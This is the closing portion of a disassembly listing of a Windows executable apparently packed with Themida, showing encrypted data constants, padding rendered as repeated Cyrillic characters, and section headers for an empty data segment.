		dd 0BAB94B42h, 0F58ACCF9h, 0B9CBBF0Fh, 6FC18CD7h, 8B66C78Bh
		dd 0D18166D0h, 0BE66BDEBh, 11E804F9h, 8F000000h, 0C16BDE79h
		dd 5E3289A5h, 6EF3E258h, 80B7D4B1h, 48D0Fh, 0BF660000h
		dd 0FC59A75Fh, 0C2EB8166h, 9E917h, 89710000h, 64C7D706h
		dd 1BF2D389h, 1A1h dup(1BC53191h), 0A58B3191h, 1A9h dup(0A58B2BFFh)
		dd 0B84783FFh, 229h dup(0B847831Bh), 0F147831Bh, 593h dup(0F003A09Bh)
		dd 0C2h	dup(0B4DE4B61h), 0CCCCCC61h, 6E0h dup(0CCCCCCCCh)
asc_5AF028	db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
					; DATA XREF: Themida_:005397AEo
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл',0
		align 1000h
Themida_	ends

; Section 5. (virtual address 001B0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001B0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5B0000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start